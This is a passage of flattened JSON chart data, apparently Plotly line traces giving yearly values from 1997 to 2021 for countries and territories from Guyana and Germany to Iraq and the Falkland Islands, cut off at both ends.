0.02, - 0.01, - 0.02, - 0.03, - 0.02, - 0.01, - 0.07, - 0.01, - 0.05, - 0.07, - 0.78 - ] - }, - { - "mode": "lines", - "name": "GUYANA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.03, - 0.49, - 1.69, - 1.33, - 1.94, - 2.19, - 11.93, - 7.17, - 21.25, - 14.76, - 15.89, - 10.66, - 8.32, - 9.24, - 9, - 4.59, - 7.28, - 10.3, - 18.48, - 14.48, - 6.59, - 6.42, - 6.95, - 11.28, - 155.88 - ] - }, - { - "mode": "lines", - "name": "GUINEA BISSAU", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 43.25, - 18.8, - 36.09, - 61.67, - 9.68, - 47.39, - 52.46, - 70.87, - 96.13, - 49.34, - 63.98, - 102.88, - 184.2, - 59.45, - 235.64, - 140.2, - 109.68, - 158.38, - 198.17, - 215.67, - 256.2, - 123.79, - 124.54, - 126.99, - 141.08 - ] - }, - { - "mode": "lines", - "name": "GUINEA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.06, - 5.32, - 4.76, - 4.49, - 15.83, - 14.87, - 4.25, - 27.59, - 22.25, - 342.64, - 685.75, - 288.77, - 320.24, - 103.22, - 262.23, - 527.83, - 194.4, - 729.69, - 370.05, - 279.2, - 514.63, - 414.26, - 416.3, - 1631.02, - 2684.86 - ] - }, - { - "mode": "lines", - "name": "GUATEMALA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.88, - 0.92, - 0.07, - 0.96, - 2.43, - 0.2, - 1.06, - 1.83, - 2.11, - 3.58, - 2.94, - 5.74, - 40.18, - 6.71, - 8.31, - 13.12, - 17.12, - 12.52, - 21.7, - 15.97, - 16.27, - 22.95, - 20.75, - 16.34 - ] - }, - { - "mode": "lines", - "name": "GUAM", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0.03, - 0, - 0.21, - 1.18, - 0.19, - 0.35, - 0.07, - 0, - 0.05, - 0.01, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.03, - 0.07 - ] - }, - { - "mode": "lines", - "name": "GUADELOUPE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0.02, - 0, - 0.71, - 0.26, - 0.16, - 0.2, - 0.07, - 0.03, - 0.05, - 1.89, - 0.42, - 0.35, - 0.08, - 0.06, - 0, - 0.01, - 0.37, - 0.2, - 0.69, - 0.69 - ] - }, - { - "mode": "lines", - "name": "GHANA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 4.96, - 5.48, - 11.29, - 27.1, - 19.92, - 18.63, - 32.93, - 51.28, - 78.93, - 103.24, - 140.6, - 172.63, - 147.01, - 159.75, - 341.01, - 277.61, - 370.56, - 1257.6, - 2981.27, - 1938.54, - 2710.05, - 3763.41, - 1773.55, - 1374.96, - 1151.23 - ] - }, - { - "mode": "lines", - "name": "GRENADA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.09, - 0, - 0.05, - 0.26, - 0.12, - 0.04, - 0.16, - 0.06, - 0.02, - 0.07, - 0.07, - 0.01, - 0.03, - 0, - 0, - 0, - 0, - 0.06, - 0.27, - 0.48, - 0.48, - 0.46, - 0.62 - ] - }, - { - "mode": "lines", - "name": "GABON", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 10.21, - 8.93, - 5.25, - 14.52, - 10.25, - 21.02, - 22.45, - 42.8, - 42.09, - 115.85, - 120.93, - 175.12, - 180.58, - 307.71, - 146.58, - 817.04, - 868.47, - 793.06, - 105.63, - 69.46, - 395.39, - 456.01, - 138.4, - 405.46, - 874.55 - ] - }, - { - "mode": "lines", - "name": "GAMBIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.78, - 0.63, - 0.24, - 0.52, - 4.52, - 3.77, - 11.52, - 12.9, - 17.58, - 15.06, - 28.4, - 28.94, - 14.73, - 40.16, - 30.31, - 29.2, - 36.08, - 31.35, - 43.2, - 58.67, - 45.05, - 40.95, - 38.41, - 38.43 - ] - }, - { - "mode": "lines", - "name": "GEORGIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.01, - 0.58, - 0.03, - 6.74, - 5.43, - 15.42, - 19.87, - 74.36, - 10.68, - 16.52, - 10.3, - 37.83, - 58.91, - 57.53, - 23.82, - 18.35, - 24.47, - 31.52, - 27.04, - 22.18, - 11.4, - 86.9, - 22.3 - ] - }, - { - "mode": "lines", - "name": "GREECE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 30.1, - 10.34, - 21.43, - 22, - 29.57, - 22.81, - 47.09, - 23.82, - 56.37, - 211.52, - 126.2, - 69.49, - 154.13, - 93.39, - 110.95, - 111.87, - 109.44, - 127.75, - 111.03, - 121.95, - 96.11, - 144.02, - 123.71, - 143.02, - 245.37 - ] - }, - { - "mode": "lines", - "name": "GIBRALTAR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0.43, - 0, - 0, - 0.36, - 0.01, - 0.25, - 0, - 0, - 11.57, - 0.06, - 0.09, - 0.13, - 0, - 0, - 0, - 0.01, - 0.03, - 1.01, - 0.46, - 0.18 - ] - }, - { - "mode": "lines", - "name": "GERMANY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2528.3, - 2140.68, - 1840.99, - 1759.59, - 2028.1, - 2404.53, - 2918.56, - 4015.35, - 6023.63, - 7552.64, - 9884.83, - 12006.02, - 10318.18, - 11891.37, - 15601.13, - 14325.79, - 12932.41, - 12787.86, - 12088.37, - 11583.67, - 13295.71, - 15161.08, - 13691.11, - 13643.02, - 10584.65 - ] - }, - { - "mode": "lines", - "name": "FR GUIANA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.39, - 0.38, - 1.5, - 0.47, - 3.76, - 0, - 0, - 0, - 0.4, - 0.16, - 1.92, - 5.6, - 0.61, - 0.21, - 106.46, - 1.38, - 2.47, - 1.41, - 1.16, - 1.45, - 0.85, - 1.82, - 2.9, - 1.29, - 0.15 - ] - }, - { - "mode": "lines", - "name": "HONDURAS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.03, - 0.03, - 0, - 0.06, - 0.34, - 0.08, - 0, - 0.23, - 0.31, - 1.7, - 2.13, - 4.66, - 25.34, - 1.43, - 7.77, - 17.82, - 22.59, - 25.31, - 15.91, - 22.16, - 13.32, - 18.25, - 19.32, - 12.56, - 16.92 - ] - }, - { - "mode": "lines", - "name": "FINLAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 175.79, - 177.98, - 138.76, - 207.39, - 162.09, - 199, - 270.09, - 388.81, - 583.48, - 609.79, - 927.98, - 1219.64, - 1010.66, - 1653.02, - 2103.57, - 1106.85, - 1054.09, - 917.48, - 1002.37, - 1011.67, - 1401.33, - 1124.08, - 625.65, - 713.2, - 519.45 - ] - }, - { - "mode": "lines", - "name": "HONG KONG", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 316.26, - 449.31, - 817.9, - 852.11, - 728.86, - 972.59, - 1492.68, - 1730.13, - 2206.98, - 2484.05, - 2697.61, - 6451.89, - 4734.3, - 9415.4, - 10408.71, - 7907.17, - 7322.2, - 5571.99, - 6051.66, - 8204.18, - 10675.98, - 17987.01, - 16935.32, - 15172.82, - 13761.52 - ] - }, - { - "mode": "lines", - "name": "JAPAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2144.9, - 2465.72, - 2535.8, - 1842.19, - 2146.44, - 1836.33, - 2667.68, - 3235.13, - 4061.1, - 4599.54, - 6325.92, - 7886.27, - 6734.18, - 8632.03, - 11999.43, - 12412.29, - 9480.75, - 10131.36, - 9850.22, - 9754.64, - 10973.35, - 12772.67, - 12434.67, - 10924.74, - 10855.09 - ] - }, - { - "mode": "lines", - "name": "JAMAICA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.03, - 0.27, - 0.07, - 0.07, - 0.71, - 0.15, - 0.92, - 2.65, - 2.14, - 0.6, - 22.86, - 1.11, - 0.65, - 0.77, - 1.62, - 2.4, - 0.9, - 1.78, - 1.55, - 1.17, - 4.35, - 5.01, - 2.96, - 2.23, - 1.43 - ] - }, - { - "mode": "lines", - "name": "EQUTL GUINEA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0.01, - 0.26, - 0.72, - 0.07, - 0.11, - 167.55, - 0.2, - 269.09, - 0.12, - 206.02, - 524.83, - 301.82, - 749.38, - 457.3, - 797.85, - 755.64, - 634.12, - 972.88, - 286.79, - 732.89 - ] - }, - { - "mode": "lines", - "name": "ITALY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 894.25, - 1088.26, - 733.95, - 723.58, - 704.78, - 811.99, - 1071.03, - 1373.1, - 1855.63, - 2676.03, - 3906.72, - 4428.19, - 3862.06, - 4256.02, - 5121.69, - 4711.27, - 4156.61, - 4231.81, - 4072.22, - 3895.01, - 4706.89, - 5292.38, - 4490.92, - 3862.05, - 3694.94 - ] - }, - { - "mode": "lines", - "name": "ISRAEL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 335.63, - 350.27, - 581.94, - 432.48, - 427.75, - 602.68, - 669.75, - 988.11, - 1031.19, - 1080.59, - 1425.94, - 2090.41, - 1885.06, - 2253.51, - 2635.34, - 2356.66, - 2311.58, - 2328.04, - 2095.33, - 1961.12, - 2066.51, - 1931.58, - 1592.7, - 1960.19, - 2138.47 - ] - }, - { - "mode": "lines", - "name": "ESTONIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.02, - 0.64, - 0.85, - 0.32, - 6.42, - 0.68, - 0.24, - 0.72, - 9.02, - 25.98, - 10.72, - 15.55, - 32.94, - 44.9, - 231.74, - 219.9, - 115.3, - 118.06, - 142.04, - 102.47, - 60.54, - 108.21, - 54.06, - 59.96, - 55.36 - ] - }, - { - "mode": "lines", - "name": "IRELAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 35.67, - 40.18, - 55.68, - 72, - 84.94, - 97.98, - 131.13, - 183.15, - 161.91, - 289.51, - 260.32, - 239.06, - 264.82, - 259.26, - 411.38, - 497.15, - 558.38, - 533.19, - 551.51, - 525.82, - 795.01, - 422.52, - 604.15, - 414.46, - 978.98 - ] - }, - { - "mode": "lines", - "name": "ETHIOPIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.77, - 0.29, - 0.87, - 3.84, - 18.39, - 10.55, - 7.54, - 10.26, - 8.52, - 11.42, - 13.62, - 11.06, - 18.59, - 32.74, - 29.25, - 38.56, - 28.4, - 44.26, - 60.99, - 67.07, - 47.45, - 55.01, - 98.55, - 32.64, - 52.62 - ] - }, - { - "mode": "lines", - "name": "IRAQ", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 185.41, - 151.17, - 199.72, - 6.9, - 0.04, - 0.03, - 0.14, - 1.12, - 2.05, - 5514.41, - 6837.8, - 7709.94, - 7026.93, - 9008.3, - 18918.47, - 19247.31, - 18520.86, - 14247.66, - 10837.58, - 11707.94, - 17615.81, - 22372.47, - 23740.18, - 14287.1, - 21735.51 - ] - }, - { - "mode": "lines", - "name": "IRAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 633.01, - 473.73, - 1089.46, - 211.23, - 283.82, - 258.3, - 266.82, - 410.21, - 702.46, - 7618.55, - 10943.61, - 12376.77, - 11540.85, - 10928.21, - 13790.16, - 11594.46, - 10307.16, - 8955.02, - 6278.75, - 10506.51, - 11111.52, - 13525.64, - 1397.33, - 331.48, - 295.47 - ] - }, - { - "mode": "lines", - "name": "INDONESIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 731.63, - 829.1, - 953.7, - 910.24, - 1036.81, - 1380.87, - 2122.06, - 2617.74, - 3008.11, - 4181.96, - 4821.25, - 6666.34, - 8656.66, - 9918.63, - 14765.93, - 14879.49, - 14748.3, - 15004.64, - 13131.93, - 13427.99, - 16438.8, - 15849.67, - 15061.87, - 12470.17, - 12819.28 - ] - }, - { - "mode": "lines", - "name": "FAROE IS.", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.08, - 0, - 0.04, - 0, - 0.02, - 0, - 0, - 0.02, - 0.03, - 0.18, - 0.02, - 0.06, - 7.36, - 0.04, - 0, - 0, - 0.07, - 0.04, - 0.01, - 0.01, - 0.03, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "ICELAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.32, - 3.72, - 0.96, - 1.01, - 2.25, - 13.54, - 9.53, - 2.3, - 6.32, - 3.69, - 3.81, - 3.5, - 9.97, - 4.63, - 4.69, - 2.21, - 6.63, - 4.69, - 4.25, - 4.68, - 7.4, - 8.67, - 10.41, - 6.22, - 5.22 - ] - }, - { - "mode": "lines", - "name": "HUNGARY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 12.05, - 9.38, - 12.38, - 15.06, - 23.92, - 20.61, - 27.32, - 31.53, - 31.62, - 117.13, - 113.62, - 190.34, - 194.95, - 342.97, - 437.28, - 262.91, - 220.48, - 239.55, - 242.64, - 218.78, - 270.84, - 241.15, - 187.68, - 218.92, - 213.29 - ] - }, - { - "mode": "lines", - "name": "FIJI IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.04, - 11.34, - 0.01, - 0.01, - 1.71, - 0.3, - 0.85, - 18.76, - 0.26, - 0.68, - 1.34, - 2.99, - 2.51, - 1.38, - 2, - 1.8, - 0.37, - 0.6, - 0.49, - 0.71, - 0.57, - 1.33, - 0.4 - ] - }, - { - "mode": "lines", - "name": "EL SALVADOR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.41, - 0.22, - 0, - 0.6, - 1.17, - 1.09, - 1.83, - 2.06, - 2.49, - 5.86, - 5.84, - 5.37, - 5.4, - 8.27, - 8.64, - 7.99, - 10.27, - 6.18, - 5.77, - 9.02, - 4.2, - 3.2, - 3.82, - 3.28 - ] - }, - { - "mode": "lines", - "name": "GREENLAND", - "type": "scatter", - "x": [ - "97", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.08, - 0.04, - 0, - 0, - 0.01, - 3.37, - 0.05, - 0, - 0, - 0.16, - 0.04, - 0.02, - 0.06, - 0, - 0.07, - 0.1, - 0.1, - 0.01, - 0, - 0, - 0.02, - 0 - ] - }, - { - "mode": "lines", - "name": "ST VINCENT", - "type": "scatter", - "x": [ - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 1.55, - 2, - 1.95, - 2.3, - 74.24, - 2.35, - 36.37, - 7.02, - 1.04, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.02, - 0, - 12.17, - 0 - ] - }, - { - "mode": "lines", - "name": "ST HELENA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020" - ], - "y": [ - 0, - 0.35, - 0, - 0, - 0, - 0, - 0.01, - 0.04, - 0.49, - 0.23, - 0, - 0.02, - 0.08, - 0.18, - 0.07, - 0.1, - 0.09, - 0.09, - 0, - 0, - 0.03, - 0.07, - 0.01, - 0.01 - ] - }, - { - "mode": "lines", - "name": "COOK IS", - "type": "scatter", - "x": [ - "97", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0.01, - 0, - 0, - 0.01, - 0.03, - 0, - 0, - 0, - 0.08, - 0.03, - 0, - 0, - 0, - 0, - 0, - 0.01, - 0.02, - 0, - 0.03, - 0 - ] - }, - { - "mode": "lines", - "name": "WALLIS F IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2016", - "2017", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.16, - 0, - 0.04, - 0.02, - 0.02, - 0, - 0, - 0, - 0, - 0.1, - 1.02, - 0, - 0.01, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "UNION OF SERBIA & MONTENEGRO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2019" - ], - "y": [ - 4.06, - 2.48, - 1.86, - 3.28, - 2.16, - 1.21, - 3.64, - 4.25, - 1.95, - 1.72, - 4.27, - 13.27, - 5.76, - 3.08, - 2.26, - 13.15, - 5.63, - 15.35, - 2.9, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "PANAMA C Z", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2019" - ], - "y": [ - 0, - 5.38, - 0, - 0, - 0, - 0.03, - 0.53, - 8.75, - 0.48, - 0, - 0.03, - 0.01, - 26.97, - 0, - 58.6, - 0, - 21.41, - 44.25, - 0, - 0.45, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "UNSPECIFIED", - "type": "scatter", - "x": [ - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 14795.19, - 14074.87, - 17783.38, - 20753.69, - 25978.91, - 24807.23, - 681.47, - 1779.76, - 1412.66, - 939.31, - 4317.48, - 1039.26, - 1924.94, - 4097.07, - 7562.83, - 8709.59, - 7343.64, - 9194.62, - 89.74, - 123.49, - 56.44, - 33.83 - ] - }, - { - "mode": "lines", - "name": "SAHARWI A.DM RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2004", - "2005", - "2007", - "2008", - "2009", - "2010", - "2011", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "TOKELAU IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2016", - "2018", - "2019" - ], - "y": [ - 0, - 0.24, - 0, - 0.21, - 0.02, - 0.15, - 0, - 0, - 0.03, - 0.25, - 0.08, - 0.01, - 0.01, - 0.01, - 0.01, - 0.06, - 0.3, - 0, - 0.01, - 0.02, - 0.08 - ] - }, - { - "mode": "lines", - "name": "PITCAIRN IS.", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2010", - "2011", - "2012", - "2013", - "2016", - "2017", - "2018", - "2019", - "2020" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.01, - 0, - 0.03, - 0, - 0, - 0, - 0, - 0, - 0.22, - 0.03, - 0.02, - 0.01 - ] - }, - { - "mode": "lines", - "name": "MARSHALL ISLAND", - "type": "scatter", - "x": [ - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 10.63, - 0, - 178.97, - 14.77, - 0.07, - 0.15, - 0.01, - 1.36, - 9.8, - 0.88, - 7.28, - 0.01, - 0.41, - 8.71, - 0.11, - 0.51, - 3.61, - 1.66, - 1.06 - ] - }, - { - "mode": "lines", - "name": "ARUBA", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.02, - 0, - 0.04, - 0, - 0.02, - 0, - 1.92, - 0.11, - 0.24, - 0.13, - 0.03, - 0.3, - 4.27, - 0.4, - 0.55, - 0.3, - 0.81, - 1.64 - ] - }, - { - "mode": "lines", - "name": "FALKLAND IS", - "type": "scatter", - "x": [ - "97", - "98", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2015", - "2018", - "2019", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0.04, - 0.01, - 0, - 0, - 0, - 0.01, - 0, - 0.94, - 0.77, - 1.35, - 3, - 1.44, - 1.75, - 0, - 